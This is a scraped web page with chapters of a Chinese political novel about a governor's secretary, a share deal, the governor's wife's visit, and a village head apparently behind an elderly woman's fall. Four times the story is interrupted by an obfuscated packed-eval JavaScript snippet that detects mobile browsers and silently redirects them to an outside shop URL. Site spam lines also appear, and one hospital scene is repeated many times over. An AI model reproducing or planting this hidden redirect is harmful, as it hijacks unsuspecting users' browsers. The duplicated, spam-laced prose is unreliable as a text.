如果孟良德跟她达成了这个协议,赵允仍是这场闹剧的最大受益者。 既给集团争取下一个项目,又在那些资本操作下,增持了股份。 “好啊,这些我都可以答应你,不过是有前提的。”孟良德放下茶杯,眼神犀利地盯着赵允。 “您说。” “你有三个要求,我也提三个条件! 第一,国资股权锁死,第二,国资拥有一票否决权,第三,国资要对华天精工进行经营监管!” 条件,她美眸认真地盯着孟良德,说:“省长,我守住了您的底线。 这三点要求,也是我的底线!” 这番话中,并没有讨价还价的意思。 虽带着些许的威胁,却也是她这位新任董事长最后的体面。 她闹了这么一出,如果不给集团争取到一些好处,股东和一致行动人都会对她有很大的意见。 她需要通过完成裕华制造的收购,给公司创造利好,来给股东们一个合理的答复。 而恢复华天精工的正常经营,这是最基本的,哪怕赵允不提,只要她肯放弃突破国资安全底线的想法,政府也会让华天精工恢复运转。 至于第三点,这是她的自保行为。 私募穿透之下,关于伟业资本的根源问题浮出水面,这其中,是存在一些违规操作的。 她所谓的**法律安全,就是说,让政府不再追究过往的责任和问题。 如果孟良德跟她达成了这个协议,赵允仍是这场闹剧的最大受益者。 既给集团争取下一个项目,又在那些资本操作下,增持了股份。 “好啊,这些我都可以答应你,不过是有前提的。”孟良德放下茶杯,眼神犀利地盯着赵允。 “您说。” “你有三个要求,我也提三个条件! 第一,国资股权锁死,第二,国资拥有一票否决权,第三,国资要对华天精工进行经营监管!” 第268章 突破 孟良德的三个要求,是为了彻底断绝国资安全的隐患。 这三条要求达成,赵允将再无可能发动类似事件。 “好,我答应。” 赵允在思考几秒钟后,选择了妥协。 眼下,与政府达成协议,是她最明智的选择。 如果这三点要求她不答应,就代表她还有动国资的打算,那么,孟良德也不会答应她的请求。 “嗯。” 孟良德点了点头,目光看向谢威:“谢威同志,接下来你跟赵董对接一下。” “好。” 与赵允达成一致协定,孟良德将落实事务交给了谢威。 赵允和谢威离开后,孟良德揉了揉眉心:“扫黑除恶那边,进展怎么样了?” “汉江已经有六个涉黑团伙被打击,其中四个,都与雷二利有关联。”李承汇报道。 关于这些信息,如果**方面不主动汇报,李承也会隔一天问一次。 “雷二利的问题,有突破吗?”孟良德问。 这次扫黑除恶,主要目的就是铲除雷二利团伙。 他才是汉江市涉黑势力的最大毒瘤! “有,宫局已经抓捕了跟雷二利从小弟混到大哥的元老级人物,只要他开口,大概率就能取得关键证据。” 在李承心里,只要撬开谢志强的嘴,基本对雷二利就能有定论。 可是,在没有确切证据之前,李承不能在孟良德面前打保票。 “嗯。” 孟良德微微点头。 最近一段时间,各种事情的发生,已经让他压得喘不过气。 除了正常公务要处理之外,他还要面临**斗争的压力,以及家庭内部的压力。 ‘铃铃铃’ 这时,孟良德的手机响了起来。 见状,李承也识时务地退出了办公室。 门刚关闭,李承隐隐能听到孟良德不耐烦的声音:“我刚在东江中扎稳根基,你让我前功尽弃,我不甘心,你跟爸说,至少等我把这些问题解决完好了,我知道这周我也不回家了。” 周五。 今天许梦串休,她亲自下厨,在家里准备了一桌子饭菜。 “老公,你回来了,饿了吧。” 李承进门后,许梦从厨房探出脑袋。露出一个甜甜的笑容:“快去洗手吃饭。” “我看看都做了什么好吃的?” 李承洗完手,走到餐桌旁,表现出一副垂涎欲滴的样子:“有进步呀,从色泽上看, 听说看这本书的人都是很幸运的,分享后你的运气会更棒 这味道就差不了。” “尝尝怎么样?” 许梦端着两碗米饭递给李承一碗后她坐在对面满眼期待的看着李承。 李承夹起一块排骨刚一入口就感觉好像吃了一口咸菜。 咸到他本能地想吐出去可看着许梦那期待的眼神他强忍着表情管理做出一副品尝美味的样子:“嗯太好吃了色香味面面俱到呀媳妇儿你这手艺太棒了太符合我的口味了。” “是吗?我尝尝。” 许梦也夹起一块排骨她刚放进嘴里就吐了出来:“呸这样太咸了你就哄我开心一点都不好吃。” “谁说这排骨不好吃这排骨太好吃了我口重就喜欢吃这咸的。” 李承狼吞虎咽地把上一块排骨吃下又立马夹了一口排骨送入口中。 这番精湛的表演让许梦都跟着半信半疑:“老公太咸了吧.” “不咸对我来说正正好好你觉得咸就吃别的菜这盘美味都留给我。” 李承将这盘排骨挪到自己面前。 他虽然也不想吃可总不能打消许梦的期待和积极性。 “你真的觉得好吃吗?”许梦将信将疑。 “真的。”李承认真点头。 “那就行以后我就按照这个口味给你做饭认识这么久我都不知道你口这么重。” 许梦略带歉意地说。 “额” 听到许梦准备以后都要重盐做饭李承脸上的笑容也僵硬了片刻:“这倒是也不必我确实喜欢吃咸口的盐吃多了对心脑血管不好容易得脑梗。 万一半身不遂了遭罪的人是你。” “哼哼。” 闻言许梦轻哼了两声:“就知道你是为了哄我开心太闲了就不要吃了明天再从炖一下。” “嗯好。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178934|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“老公明天周六了天湖庄园的问题应该上不了节目了吧?”许梦抱有一线希望的问。 她已经跟粉丝夸下海口表示天湖庄园会被拆除可现在的形势已经偏离了她的预期。 “老板也在想办法不过这需要时间涉及一个村上百户人家的反抗情绪。 不是一朝一夕能解决的。” 提及此事李承也跟着头疼。 李美娇的手段很高明绑定了太多底层人的利益很难办。 “那好吧。” 许梦无奈地叹了一口气 听说看这本书的人都是很幸运的,分享后你的运气会更棒 原因。” “这个视频,现在还不能发。”李承拒绝了她的这种想法。 他知道,许梦是想及时向粉丝挽回自己的形象。 可现在,政府还在解决过程中,需要进行保密。 事件如果通过许梦的流量发酵,产生出不可控的**影响,许梦的工作一定是保不住的。 “可是,我的粉丝都等着呢。” 许梦再次叹了一口气,她也知道,这个视频不能发。 可她想不到什么更好的解决办法。 “那也不能发,还不是时机。”李承认真道。 “嗯我知道了。” ‘我的爱如潮水,爱如潮水将我向你推.’ 正在这时,李承的手机响了起来。是孟良德打来的电话。 i“老板的电话。” 李承告诉许梦一声后,他清了清嗓子,从椅子上站了起来,这才接通:“喂,老板。” 站起来讲话,声音更清澈,不会给孟良德一种慵懒的感觉。 “小李,你在忙吗?”孟良德声音沉闷。 “不忙,老板您吩咐。”李承道。 “那你开车陪我去一趟机场。”孟良德道。 “好的老板,我这就过去。” 李承答应后,等到对方挂断电话,他这才收起手机。 急忙穿好衣服,李承拿起车钥匙,对许梦道:“我出去一趟,应该不会太久。” “老公,饭还没吃完呢?不差这几分钟吧?” “我回来再吃。” 第269章 省长夫人 开着车,李承用最快速度来到迎宾馆,接上了孟良德。 两个人,开着这台高尔夫,赶往机场。 “老板,您是要回京城吗?” 路上,李承表现出一副随意的样子,询问。 一位省长,没有选择动用自己的专车,而是坐李承这台紧凑的高尔夫。 李承知道,孟良德不是回京城,而是接人。 “不回,我老婆九点的飞机落地。”孟良德闭着眼睛,表情沉闷地回答道。 他以公务为由,不回京城,就是不想面对那个家的压力。 可结果,对方却追到了东江来。 这让孟良德格外头疼。 “是嫂子过来了呀。” 对此,李承早有预料。 “唉真是躲都躲不掉。” 孟良德揉了揉太阳穴,李承能够清晰感受到他语气中的不耐烦。 “她是不放心您一个人在这边,想您了呗。” 李承也不知道该这么回答,只能顺口这么说一句,以笑容掩饰尴尬。 对此,孟良德没有再讲话。 九点二十。 一位看起来四十岁左右,长相平平,打扮也很朴素的女人,走到两人视线中。 孟良德上前几步迎接,从她的手里接过行李:“家瑞,给你介绍一下,这位是我的秘书,李承。” 女人闻言,目光落在李承身上。 “嫂子,您好。” 李承冲她微笑点头。 她的打扮,与李承想象中的省长夫人,完全是两种形象。 在李承想象中,这位出生在京城权贵之家的女人,不一定很漂亮,但一定特别会打扮。 至少会给人一种国泰民安的感觉。 可这个女人,放在那些普通妇女的人群中,没什么特别之处。 如果不是孟良德介绍,只是在马路上遇见,根本不会将她与省长夫人,名门望族之女联想在一起。 “嗯,你好。” 女人也没有什么架子,她对李承回以一笑,态度很温和。 李承从孟良德的手里接过行李,期间也不再讲话,开着车,朝着迎宾馆的方向赶去。 在此期间,除了那声招呼之外,李承与她没再有任何的沟通。 可从车上,孟良德和妻子的谈话里,李承清晰地感受到,孟良德对她很忌惮! “父亲说,下周京城会有视察组到东江,主要是到滨西视察工作,让你提前做好准备。” 沈家瑞 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 平静地传达了一个消息。 这个消息从她口中说出来轻描淡写可饶是听在李承耳朵里都是一颗重磅**。 京城视察组去滨西还能是干什么? 一定跟滨西的重大煤矿灾难有关。 “嗯知道了。”孟良德沉声答应。 “形势比你想象的要严峻父亲也为你承受了压力良德你要考虑清楚。” 沈家瑞深吸一口气劝说道。 虽说这是她跟李承的第一次见面但她在孟良德口中了解过李承。 知道孟良德信任这位秘书所以她才会在车上说这件事。 “再说吧 孟良德摆了摆手岔开话题:“孩子最近学习怎么样?” “还好就是总嚷着想你回去。” “嗯。” 周六。 虽然天湖庄园的问题并没有顺利进入到《东江问政》节目。 但李承作为常驻嘉宾还要去省电视台跟许梦一起录制节目。 ‘嗡嗡嗡’ 临近节目开始李承的手机震动了起来。 是市长刘宝林打来的。 “喂刘市长。”李承接通电话。 “李秘书你在电视台录制节目吗?”刘宝林问。 “嗯在这边了。”李承回道。 “天湖庄园出了问题今天凌晨三点一位老人因为断电上厕所时不慎踩空从楼梯上摔了下去。 被发现时已经是今天早上六点现在还在抢救室!” 刘宝林将情况告知给李承。 听到这个消息李承只觉得头皮一阵发麻。 停水停电是孟良德的吩咐下周京城的视察组就要到东江。 这次视察组下来给李承的感觉是对方带着敌意。 在这个期间如果天湖庄园在出现了人命后果不堪设想孟良德的处境也将更为艰难。 “孟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178935|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 省长回京城了吗?” 刘宝林没有听到李承的回答他问。 “刘市长这件事我清楚了我会跟省长汇报。”李承道。 他并没有将孟良德仍在汉江的消息告诉给对方。 “嗯好。” 挂断电话许梦走了过来她看着一脸凝重的李承问:“都等你录制节目了是又出什么事情了吗?” “嗯我要跟老板汇报一下情况你们先开场。”李承道。 开场期间并没有李承的镜 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 头。 主要是以许梦个人为主。 “好,那我先过去了。”许梦答应道。 ‘嘟嘟.嘟.’ 许梦进入会场,李承也拨通了孟良德的电话。 响了大概十几秒后,孟良德接通了电话:“喂,李秘书。” “老板,昨天凌晨天胡庄园有一名老人从楼梯摔了下去,现在还在抢救阶段,刘市长请示您接下来怎么做。” 李承将事情以最快速汇报给孟良德。 闻言,电话那边同样陷入了沉默。 “你和刘宝林现在去一趟医院,看看家属那边什么态度。”孟良德吩咐道。 隐约间,他猜测到了这是一场阴谋。 有人在用人命,想借着停水停电的噱头,做他的文章。 “好的,老板。”李承答应。 “让市里务必封锁好消息,**机关同时介入,给我查清楚,这件事到底是意外,还是人为。” 孟良德继续吩咐。 “好的老板。”李承答应。 “让杨兆华联系.你先去这些,剩下我来交涉。” 孟良德本打算让杨兆华跟花海集团的李美骄进行一次交涉,想了想,他决定亲自去安排。 事关重大,尤其是在视察组即将要来东江时发生这种事,孟良德必须重视起来。 “好。” 挂断电话,李承走到《东江问政》制片人的身边,告知对方他有紧急公务要处理,不能参与节目。 李承是嘉宾,又不是电视台的员工。 他不能参与,制片人也只好另作打算,不敢耽搁李承的工作。 第270章 ** 来到市一大一院的抢救室门前。 此时,抢救室的门口站了很多的村民。 村长王柱正在给这些村民上思想教育课:“马老太太是多么好的一个人啊,那是咱们村的退休老师。 教书这么多年,尽职尽责,你们这群八零后,九零后,基本上都是马老太太的学生。 这么好的一位老人,就是因为政府的停了电,导致她才摔了跤。 我们必须得向政府讨个说法!我这个村长,宁愿丢了这个官,我也要带头要说法。 你们愿不愿意跟着我一起,替马老太太要个说法呀!” 在他的带动下,那些村民们也愤愤不平起来。 “我们愿意呀,一日为师,终生为母,马老师对我很好,我必须替她讨个公道。” “村长,你都愿意带头,我们没意见,就跟着你干!” “必须要个说法,太欺负人了!” “就是,天湖庄园本来就是咱们村的地,现在人家自愿捐给咱们村,政府却要**,这就是欺负咱们老百姓!” 这些村民本来就跟天湖庄园有利益捆绑。 如今,一位德高望重的老师又因为政府停水停电问题,导致命悬一线,这让大家愤怒的情绪被推到了顶点。 “这些是记者朋友,他们愿意帮我们报道这件事,你们待会也都拿出手机,等市里的领导过来就录像。 只要把这件事捅到网上去,我就不信他们还敢草芥人命不成!” 王村长说的那叫一个冠冕堂皇。 可这些村民殊不知,王柱就是马老太太摔倒的罪魁祸首! 李承率先赶到,他听到这些言论后,停顿了脚步,转头去了远处的走廊,与这些村民们拉开距离。 拿出电话,他打给了杨兆华。 杨兆华是秘书长,很多事情,需要他去统筹。 先村民说的这些**问题,与其打给孟良德,不如先去联系杨兆华。 等事情平息下来后,再统一向孟良德汇报。 ‘嘟嘟.都.’ “秘书长。” 电话接通,李承开口。 “你到医院了?”杨兆华问。 “嗯,现在情况是这样的,村民方面情绪很激动,他们联系了媒体,除此之外,还准备通过自媒体的方式,把这件事传播出去。 我建议联系一下宣传部,让他们把控好网信,不能把这种事传到网络上。 而且,我觉得这件事的背后,有人在操纵。” 李承在听完王柱的言论后,也认定这件事没那么简单。 一个村长,不想着去压下村民情绪,而是鼓舞大家**,这本身就反常。 如果没有利益的支撑,李承不信,他会那么大义凛然! “好,我知道了。” 杨兆华答应一声,叮嘱道:“你注意一下,别跟村民起冲突。” “嗯,放心。” 挂断电话,李承在走廊等了一会儿。 大概十几分钟后,刘宝林和市里的同志们出现在李承的视野中。 “刘市长。” 李承快步迎了上去。 “村民那边情绪怎么样?”刘宝林问。 发生这种事,他同样很头疼。 “他们想把事情闹大,刘市长,你们讲话时要注意,他们有备而来,想通过****。”李承叮嘱道。 “好。” 一行人走到抢救室门前。 村民们看到了市里领导都过来了,纷纷围了过来:“市长来了,今天无论如何,你们得给我们一个说法。 要不是你们停电,马老师就不会出事,这要是出了人命,就是你们这些当领导的责任!” 村民们喧闹着,眼神中,皆是带着浓郁的怨气。 “发生这种事情,也是市政府不想看到的结果。 但我要强调一点,天湖庄园是违规建筑,我们进行任何的拆除,属于正常工作范畴! 政府部门也多次劝说你们回家,不要在天湖庄园内逗留,这属于你们个人行为!” 刘宝林态度强硬,丝毫不退缩。 在对面各个录像画面前,他就需要摆明责任划分。 如果退缩,以商量的口吻去谈,反而显得心虚,像是政府部门做错了事情。 从事情本质讲,别说是断水断电,就是强行拆除爆破,也跟这群村民们没关系。 拆的是违规建筑,又不是他们的个人资产。 “你们口口声声说是人民政府,出了这种事,又推卸责任到我们身上,那好,就让网友们给我们评评理!” “大家看看啊,这些人就是人面兽心的畜生,我妈因为他们停电,才导致摔倒。 现在还在抢救室里抢救,结果,他们连责任都不愿意承担,还有没有天理呀” “.” 各种各样的指责声,如果潮水般向刘宝林,李承等人袭来。 “政府不是不承担,该承担的责任,政府不会推脱。 我是要让大家明确事实 ,事实本质,是你们妨害政府的办公,停水停电都属于政府拆除违建的正常流程。” 刘宝林再次强调完后,继续说:“但是,关于马老太太的家庭情况,政府也了解过。 医疗费问题,政府会帮助筹款,让患者有一个医疗保障!” 刘宝林强调是筹款,而非赔款。 一字之差,责任划分上,却完全不同。 “什么叫筹款啊,这就该你们赔,本来就是你们的过失,你们不停电,能发生这种事吗? 我妈要是有个三长两短,我跟你们拼命!”马老太太的儿子,指着刘宝林叫嚷着。 “不要指我!” 刘宝林表情一冷,他目光凝视着马老太太的儿子:“如果你真是一个孝顺的孩子,就不该明知停水停电,还让你妈这一把年纪,去天湖庄园!” 这一句话,彻底撕开了对方的伪装。 让怼的对方一时间无言以对。 刘宝林这句话,戳穿了他的心思。 如果他在乎他妈妈的死活,又怎会让马老太太去凑这个热闹? 气氛在沉默了短短几秒后,手术室的灯灭了。 一个医生从里面走了出来。 “大夫,我妈妈怎么样?她有没有事?” 面对家属的询问,大夫摘下口罩,说:“虽然耽误了治疗时间,好在,生命体征已经恢复。” ,事实本质,是你们妨害政府的办公,停水停电都属于政府拆除违建的正常流程。” 刘宝林再次强调完后,继续说:“但是,关于马老太太的家庭情况,政府也了解过。 医疗费问题,政府会帮助筹款,让患者有一个医疗保障!” 刘宝林强调是筹款,而非赔款。 一字之差,责任划分上,却完全不同。 “什么叫筹款啊,这就该你们赔,本来就是你们的过失,你们不停电,能发生这种事吗? 我妈要是有个三长两短,我跟你们拼命!”马老太太的儿子,指着刘宝林叫嚷着。 “不要指我!” 刘宝林表情一冷,他目光凝视着马老太太的儿子:“如果你真是一个孝顺的孩子,就不该明知停水停电,还让你妈这一把年纪,去天湖庄园!” 这一句话,彻底撕开了对方的伪装。 让怼的对方一时间无言以对。 刘宝林这句话,戳穿了他的心思。 如果他在乎他妈妈的死活,又怎会让马老太太去凑这个热闹? 气氛在沉默了短短几秒后,手术室的灯灭了。 一个医生从里面走了出来。 “大夫,我妈妈怎么样?她有没有事?” 面对家属的询问,大夫摘下口罩,说:“虽然耽误了治疗时间,好在,生命体征已经恢复。” ,事实本质,是你们妨害政府的办公,停水停电都属于政府拆除违建的正常流程。” 刘宝林再次强调完后,继续说:“但是,关于马老太太的家庭情况,政府也了解过。 医疗费问题,政府会帮助筹款,让患者有一个医疗保障!” 刘宝林强调是筹款,而非赔款。 一字之差,责任划分上,却完全不同。 “什么叫筹款啊,这就该你们赔,本来就是你们的过失,你们不停电,能发生这种事吗? 我妈要是有个三长两短,我跟你们拼命!”马老太太的儿子,指着刘宝林叫嚷着。 “不要指我!” 刘宝林表情一冷,他目光凝视着马老太太的儿子:“如果你真是一个孝顺的孩子,就不该明知停水停电,还让你妈这一把年纪,去天湖庄园!” 这一句话,彻底撕开了对方的伪装。 让怼的对方一时间无言以对。 刘宝林这句话,戳穿了他的心思。 如果他在乎他妈妈的死活,又怎会让马老太太去凑这个热闹? 气氛在沉默了短短几秒后,手术室的灯灭了。 一个医生从里面走了出来。 “大夫,我妈妈怎么样?她有没有事?” 面对家属的询问,大夫摘下口罩,说:“虽然耽误了治疗时间,好在,生命体征已经恢复。” ,事实本质,是你们妨害政府的办公,停水停电都属于政府拆除违建的正常流程。” 刘宝林再次强调完后,继续说:“但是,关于马老太太的家庭情况,政府也了解过。 医疗费问题,政府会帮助筹款,让患者有一个医疗保障!” 刘宝林强调是筹款,而非赔款。 一字之差,责任划分上,却完全不同。 “什么叫筹款啊,这就该你们赔,本来就是你们的过失,你们不停电,能发生这种事吗? 我妈要是有个三长两短,我跟你们拼命!”马老太太的儿子,指着刘宝林叫嚷着。 “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178936|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要指我!” 刘宝林表情一冷,他目光凝视着马老太太的儿子:“如果你真是一个孝顺的孩子,就不该明知停水停电,还让你妈这一把年纪,去天湖庄园!” 这一句话,彻底撕开了对方的伪装。 让怼的对方一时间无言以对。 刘宝林这句话,戳穿了他的心思。 如果他在乎他妈妈的死活,又怎会让马老太太去凑这个热闹? 气氛在沉默了短短几秒后,手术室的灯灭了。 一个医生从里面走了出来。 “大夫,我妈妈怎么样?她有没有事?” 面对家属的询问,大夫摘下口罩,说:“虽然耽误了治疗时间,好在,生命体征已经恢复。” ,事实本质,是你们妨害政府的办公,停水停电都属于政府拆除违建的正常流程。” 刘宝林再次强调完后,继续说:“但是,关于马老太太的家庭情况,政府也了解过。 医疗费问题,政府会帮助筹款,让患者有一个医疗保障!” 刘宝林强调是筹款,而非赔款。 一字之差,责任划分上,却完全不同。 “什么叫筹款啊,这就该你们赔,本来就是你们的过失,你们不停电,能发生这种事吗? 我妈要是有个三长两短,我跟你们拼命!”马老太太的儿子,指着刘宝林叫嚷着。 “不要指我!” 刘宝林表情一冷,他目光凝视着马老太太的儿子:“如果你真是一个孝顺的孩子,就不该明知停水停电,还让你妈这一把年纪,去天湖庄园!” 这一句话,彻底撕开了对方的伪装。 让怼的对方一时间无言以对。 刘宝林这句话,戳穿了他的心思。 如果他在乎他妈妈的死活,又怎会让马老太太去凑这个热闹? 气氛在沉默了短短几秒后,手术室的灯灭了。 一个医生从里面走了出来。 “大夫,我妈妈怎么样?她有没有事?” 面对家属的询问,大夫摘下口罩,说:“虽然耽误了治疗时间,好在,生命体征已经恢复。” ,事实本质,是你们妨害政府的办公,停水停电都属于政府拆除违建的正常流程。” 刘宝林再次强调完后,继续说:“但是,关于马老太太的家庭情况,政府也了解过。 医疗费问题,政府会帮助筹款,让患者有一个医疗保障!” 刘宝林强调是筹款,而非赔款。 一字之差,责任划分上,却完全不同。 “什么叫筹款啊,这就该你们赔,本来就是你们的过失,你们不停电,能发生这种事吗? 我妈要是有个三长两短,我跟你们拼命!”马老太太的儿子,指着刘宝林叫嚷着。 “不要指我!” 刘宝林表情一冷,他目光凝视着马老太太的儿子:“如果你真是一个孝顺的孩子,就不该明知停水停电,还让你妈这一把年纪,去天湖庄园!” 这一句话,彻底撕开了对方的伪装。 让怼的对方一时间无言以对。 刘宝林这句话,戳穿了他的心思。 如果他在乎他妈妈的死活,又怎会让马老太太去凑这个热闹? 气氛在沉默了短短几秒后,手术室的灯灭了。 一个医生从里面走了出来。 “大夫,我妈妈怎么样?她有没有事?” 面对家属的询问,大夫摘下口罩,说:“虽然耽误了治疗时间,好在,生命体征已经恢复。” ,事实本质,是你们妨害政府的办公,停水停电都属于政府拆除违建的正常流程。” 刘宝林再次强调完后,继续说:“但是,关于马老太太的家庭情况,政府也了解过。 医疗费问题,政府会帮助筹款,让患者有一个医疗保障!” 刘宝林强调是筹款,而非赔款。 一字之差,责任划分上,却完全不同。 “什么叫筹款啊,这就该你们赔,本来就是你们的过失,你们不停电,能发生这种事吗? 我妈要是有个三长两短,我跟你们拼命!”马老太太的儿子,指着刘宝林叫嚷着。 “不要指我!” 刘宝林表情一冷,他目光凝视着马老太太的儿子:“如果你真是一个孝顺的孩子,就不该明知停水停电,还让你妈这一把年纪,去天湖庄园!” 这一句话,彻底撕开了对方的伪装。 让怼的对方一时间无言以对。 刘宝林这句话,戳穿了他的心思。 如果他在乎他妈妈的死活,又怎会让马老太太去凑这个热闹? 气氛在沉默了短短几秒后,手术室的灯灭了。 一个医生从里面走了出来。 “大夫,我妈妈怎么样?她有没有事?” 面对家属的询问,大夫摘下口罩,说:“虽然耽误了治疗时间,好在,生命体征已经恢复。” 第271章 情绪 “太好了!” 当听到马老太太没有生命危险时,她儿子情绪激动。 刚才刘宝林的那一番话,让他对母亲十分愧疚。 好在,至少人没有生命危险。 李承也松了一口气,没有闹出人命,这件事就有回旋的余地。 这个消息从医生口中说出来后,大部分人都是欢喜的,但王柱的脸色却阴沉下来。 马老太太从楼梯上摔下来,并非意外,是他推下去的。 他故意拖延时间,导致马老太太在冰冷的地面上躺了三个多小时,他以为,以马老太太的身体素质,必死无疑。 可结果. 他怕马老太太活,那样的话,他这位罪魁祸首就很可能被揪出来。 “王村长,马老师抢救过来,你似乎很不开心呀?” 李承洞察到了王村长的表情,再联想到他身为村官,却推动民众反抗政府的情绪。 李承难免对他起了疑心。 “啊没有,开心呀。” 被李承点名,王柱明显慌了一下,他勉强挤出一个笑容,说。 “虽然人被抢救了过来,但这件事政府也必须给我们一个说法,这后续费用也是一笔不小的数目。” 王柱在惊慌后,再次将话题转移到‘**’上:“我们不要捐款,就是要赔偿款!” “对,我们的诉求也很简单,政府必须承担起马老师的一切费用!” 村民们也跟着附和起来。 “赔款也好,捐款也罢,但这都是后话!” 这次,不等刘宝林开口,李承上前一步,目光直视着王柱:“关于马老师摔倒的问题,存在很多可疑,现在**机关已经介入调查,这件事,很可能不是意外,而是人为!” 李承说得格外认真,就好像是已经取得了些证据。 其实,这是他为了验证自己的内心猜想。 “这怎么可能。” 王柱态度坚定地否认,急切开口:“昨晚住在天湖庄园的都是我们同村的人,没人会害马老师!” “是吗?” 李承淡淡一笑,看着王柱的眼神中,带着些许的戏谑。 王柱这个人没什么城府。 他嘴上狡辩,可眼神里的慌乱,下意识摸鼻子的小动作等,都表现出他的紧张。 他在心虚! “怕是有人收了黑心钱,想把事情闹大。”李承道。 “你少在这里胡说八道!”王柱怒道。 “我昨天晚上 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 好像听到了些声音是不是真.” 其中一个妇女似乎想到了什么她迟疑地开口。 可她的话没说完便被王柱严厉打断:“你们别被他们的话给蒙骗了他们就是不想赔款! 我已经豁出这个村长不当了也要为大家讨回个公道。大家更要齐心。 如果我们心不齐别说马老师的公道讨不回来 王柱再次将天湖庄园的租金提了出来。 在共同利益下大家又重新跟王柱站到了一起。 “大家放心关于马老师摔倒是意外还是人为政府一定会给你们一个公道! 但是也请大家记住这是法治社会。 没有法不责众一说法律的底线不是人多就能突破的!” 李承态度严肃不容置疑。 在双方交涉的过程中市**局的人也赶了过来。 “王柱请你配合我们走一趟。” 一名警员找到王柱直接亮出了自己的证件。 天湖庄园仍有村民在驻守。 警方上午走访调查了一趟根据那些村民的描述在了解到马老太太摔倒的姿势以及通过痕迹推测到马老太太的摔倒轨迹后。 警方得到了一个结论这是人为。 再结合村民们提供的其他信息警方将目标率先定在了王柱身上。 “有什么想问的就在这里问。”王柱显得格外忐忑他不肯配合。 “配合警方办公是每位公民的义务你作为村长这一点不知道吗?” 那名警员态度强硬他反问:“还是说你心虚呀?” “我有什么心虚的走一趟就走一趟。”王柱无可奈何只能答应。 “那位大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184242|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐似乎了解些情况让她也去配合一下吧。” 刘宝林指着刚才开口被王柱打断的妇女对警员吩咐道。 “是刘市长。” 医院方面有市领导在主持工作。 李承也没有过多停留他打电话向孟良德汇报了情况后驱车回到省电视台。 沈家瑞只在汉江住了两晚。 周日李承早上接到了孟良德的短信让李承下午的时候去一趟迎宾馆四点的飞机送沈家瑞去机场。 这次孟良德提前打了招呼李承有了准备时间自然不能再开许梦的高尔夫。 两厢旅行车后排空间拥挤舒适度太低不适合接送领导 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 及家属。 为此,李承联系了姜斌。 自从上次李承去进出口集团给姜斌撑腰后,姜斌得到了领导的特别关照,升到了部门主管的职位。 前段时间还收获了爱情,属于爱情事业双丰收。 为了给姜斌的婚事做准备,姜叔老两口斥资,给姜斌买了一台丰田塞纳商务车。 李承觉得,这台车送领导夫人比较合适,既不张扬,舒适度也够。 最主要的是,姜斌不是外人,借他的车,只是最基本的朋友互相帮助。 不然,以李承的身份,如果想借商务车,只要他张口,别说是塞纳,埃尔法,雷克萨斯LM,迈巴赫V级,都能排成长队,从李承的家里延伸出去一公里。 但李承不想以职务的方式,去借车。 他只想以李承的身份去借,而非省长秘书的身份! 送领导夫人去机场,这个时间要掐准。 既不能让领导夫人在机场过于匆忙,也不能让对方在机场候机太久。 李承算好了时间,掐着点来到迎宾馆。 ‘咚咚咚’ 李承敲响房门,大概过了半分钟,房门才开。 “李秘书。” 看门的人是娇娇,她勉强挤出一抹笑容,跟李承打了一个招呼。 可在她的脸上,李承察觉到了沮丧,似乎她好像刚刚哭过. 第272章 家事 “嗯。 李承自然不会多嘴去关心她的情绪。 她的泪水,或许与沈家瑞的到来有关,当秘书的更不能问。 反而,还要装出一副不知情,没看见的样子。 “老板,嫂子。 走进客厅,孟良德站在窗边抽着烟,沈家瑞双手抱胸,表情严肃。 像是刚刚发过脾气。 李承跟两个人打了声招呼,站在原地,与他们保持一定的距离。 “时间快到了,走吧。 孟良德掐灭香烟,主动去帮沈家瑞提包。 “让小李送我就行,你还有公务要处理,工作要紧。 沈家瑞在孟良德碰到她的包前,将包包拽到了怀里。 